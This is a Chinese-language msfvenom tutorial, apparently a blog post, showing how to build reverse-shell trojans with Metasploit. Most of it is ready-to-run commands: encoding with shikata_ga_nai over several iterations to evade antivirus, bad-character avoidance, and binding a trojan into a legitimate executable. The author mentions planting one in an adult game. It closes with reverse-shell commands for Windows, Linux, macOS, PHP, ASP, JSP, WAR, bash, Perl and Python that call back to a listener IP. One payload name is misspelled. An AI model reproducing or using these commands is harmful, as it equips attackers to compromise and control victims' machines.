Msfvenom使用教程

一. Msfvenom介绍
msfvenom
是 Metasploit 框架中的一个重要工具,用于生成各种类型的恶意代码和有效载荷。Metasploit 是一个开源的安全工具,用于开发、测试和执行各种网络安全攻击。它具有漏洞利用、渗透测试、漏洞研究等功能,可帮助安全专业人员评估系统的安全性。
msfvenom
允许用户生成定制的攻击载荷,这些载荷可以用于渗透测试、漏洞研究、脆弱性评估等目的。它可以生成各种操作系统平台和架构下的恶意代码,包括但不限于 Windows、Linux、macOS 等。用户可以根据需要选择不同的 payload 和格式,以便在目标系统上执行各种恶意操作。
这些恶意载荷可以用于测试系统安全性,验证防御机制的有效性,或者在合法的渗透测试环境中模拟攻击,从而帮助组织发现并修复潜在的安全问题。
他可以在MSF中或者MSF外使用
MSF外使用
MSF中使用
二. Msfvenom使用
1. 帮助
-h
命令
可以看到有一堆命令
2. 输出文件格式
我们是要生成一个木马,使用-f
可以设置生成啥木马
比如-f exe
就可以生成exe的木马
这里会在下面的生成木马中具体用到
3. 文件输出
我们使用-o
来输出一个木马文件,比如前面-f exe
那么你输出的就应该是exe文件,也就是-f exe -o payload.exe
,这样就会在当前目录生成木马。
当然你也可以使用路径-f exe -o /root/payload.exe
,这样就可以在指定目录下生成木马。
这里会在下面的生成木马中具体用到
4. 添加载荷payload
msfvenom
命令中的 -p
选项用于指定所生成 payload 的类型或模块。
一些常见的 payload 类型包括:
windows/meterpreter/reverse_tcp
: 生成用于 Windows 系统的 Meterpreter 反向 shell payload,用于建立到 Metasploit 的反向连接。linux/x86/meterpreter/reverse_tcp
: 生成用于 Linux x86 系统的 Meterpreter 反向 shell payload。windows/shell_reverse_tcp
: 生成用于 Windows 系统的普通反向 shell payload。php/meterpreter/reverse_tcp
: 生成用于 PHP 环境的 Meterpreter 反向 shell payload。- 等等…
我们可以使用-p
来为木马加载一个payload。这个payload就是MSF里的payload。
不过我们需要对paylaod进行设置,那么要设置啥呢?我们可以在MSF里看
这样就可以知道该paylaod具体要设置啥东西
当然MSF太麻烦了,我们可以使用--list-options
来查看,即-p windows/meterpreter/reverse_tcp --list-options
可以看到,这里需要我们设置的是LHOST,使用命令-p windows/meterpreter/reverse_tcp LHOST=你设置的IP
这样就成功的完整地设置了一个payload
这里会在下面的生成木马中具体用到
5. 生成简单木马
我们现在来尝试生成一个木马
生成木马需要知道这些东西,木马的payload,木马格式以及木马文件名,分别对应了-p
、-f
和-o
命令
1 | msfvenom -p 你要设置的payload payload的配置 -f 木马格式 -o 木马的名称 |
具体的一个简单木马生成命令就是这样的
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -f exe -o payload.exe |
木马格式为exe
,文件名为payload.exe
,木马使用的payload是windows/meterpreter/reverse_tcp
,payload手动设置了LHOST=192.168.1.200
其他默认
我们试试
木马生成成功
7. 木马编码混淆
有的时候,我们需要避免木马被查杀,所以需要对木马进行一些保护,比如编码的混淆
我们使用-e
参数来指定编码器,比如-e x86/shikata_ga_nai
。x86/shikata_ga_nai
编码器是一种常用的 polymorphic 编码器,用于混淆生成的 payload。
完整的木马生成命令就是
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -e x86/shikata_ga_nai -f exe -o payload.exe |
8. 木马架构选择
有的时候我们需要生成一个指定架构的木马,比如-a x86
就是指定了x86
架构。
不过这个命令需要与--platform
一起用,这个命令是来指定平台的,也就是windows、Linux、android那些平台
那么这个命令就是这么用的-a x86 --platform windows
,这样就指定是x86的windows平台的木马
完整的木马生成命令就是
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe |
9. 木马字符避免
有些字符可能会在传输或执行过程中引起问题或干扰,所以我们需要让木马中尽量的避免这些字符,我们可以使用-b
参数,比如-b "\x00\x0a\x0d"
,这样就避免了NULL字符 (\x00
)、换行字符 (\x0a
) 和回车字符 (\x0d
)。
完整的木马生成命令就是
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x86 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f exe -o payload.exe |
10. 木马捆绑
你们是否感觉直接明目张胆的发木马有点猖狂呢?msfvenom提供了一个-x | -k
命令可以把木马嵌入到一个文件里,从而创建一个新的恶意文件。这对于隐藏恶意代码并绕过一些安全检测机制非常有用。
注意,这个命令实际上是这样的-x 要捆绑到哪个文件 -k
,这个-x
和-k
是一起的。
比如-x haha.exe -k
,这样就把木马嵌入到haha.exe
里了。
不过他是将木马嵌入到文件,然后重新输出一个文件的。比如这样-x haha.exe -k -f exe -o hack.exe
我们试试
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x64 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -x wall2.exe -k -f exe -o hack.exe |
报错了,说架构不对……哦,这是x86架构,我设置的是x64……改一下
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -a x86 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -x wall2.exe -k -f exe -o hack.exe |
ok,成功。
我这个其实是一个小黄油,嘿嘿嘿,操作空间挺大哈
那么是所有的文件都可以捆绑吗?我们在捆绑的时候,加入捆绑的是exe文件,那么我们输出的应该也是exe文件,不能说我们捆绑了一个exe文件,结果你给我输出个pdf,那成啥了。
也就是说,我们捆绑的文件格是和能够输出的文件挂钩的,支持输出啥文件,我们才可以捆绑啥文件。那么我们怎么知道他支持啥文件呢?往下看
11. 查看模块内容
上面可以看到,我们涉及到的东西挺多,主要就是payload、架构、输出文件格式和编码这些东西。那如果我们想换个编码、payload或者架构呢?我们不知道可以用啥,或者他支持啥,我们应该怎么查看呢?
这些内容其实是分模块的
- formats: 支持的文件输出格式
- encoders: 支持的编码
- payloads: 所有的payload
- platforms: 支持的架构
我们可以使用-l
来查看他们,比如查看支持的编码,就是-l encoders
1 | msfvenom -l encoders |
1 | msfvenom -l formats |
1 | msfvenom -l payloads |
1 | msfvenom -l platforms |
12. 设置编码次数
我们可以设置生成 payload 时的编码迭代次数。编码迭代可以增加 payload 的隐蔽性,使其更难被检测和分析。
使用-i
命令,比如-i 3
,就是进行3次编码
完整的木马生成命令就是
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 -i 3 -a x86 --platform windows -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f exe -o payload.exe |
三. Msfvenom命令实例
1. 普通生成
1 | msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe |
2. 编码处理型
1 | msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe |
3. 捆绑
1 | msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe |
4. Windows
1 | Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe |
5. Linux
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f elf > shell.elf |
6. MAC
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f macho > shell.macho |
7. PHP
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f raw > shell.php |
8. Asp
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f aspx > shell.asp |
9. Aspx
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f aspx > shell.aspx |
10. JSP
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f raw > shell.jsp |
11. War
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f war > shell.war |
12. Bash
1 | msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.200 LPORT=4444 -f raw > shell.sh |
13. Perl
1 | msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.200 LPORT=4444 -f raw > shell.pl |
14. Python
1 | msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.1.200 LPORT=4444 -f raw > shell.py |
现阶段对于win下的后门,不免杀,不加上点手段,正常是木的用的,普通马逃不过安全软件的查杀.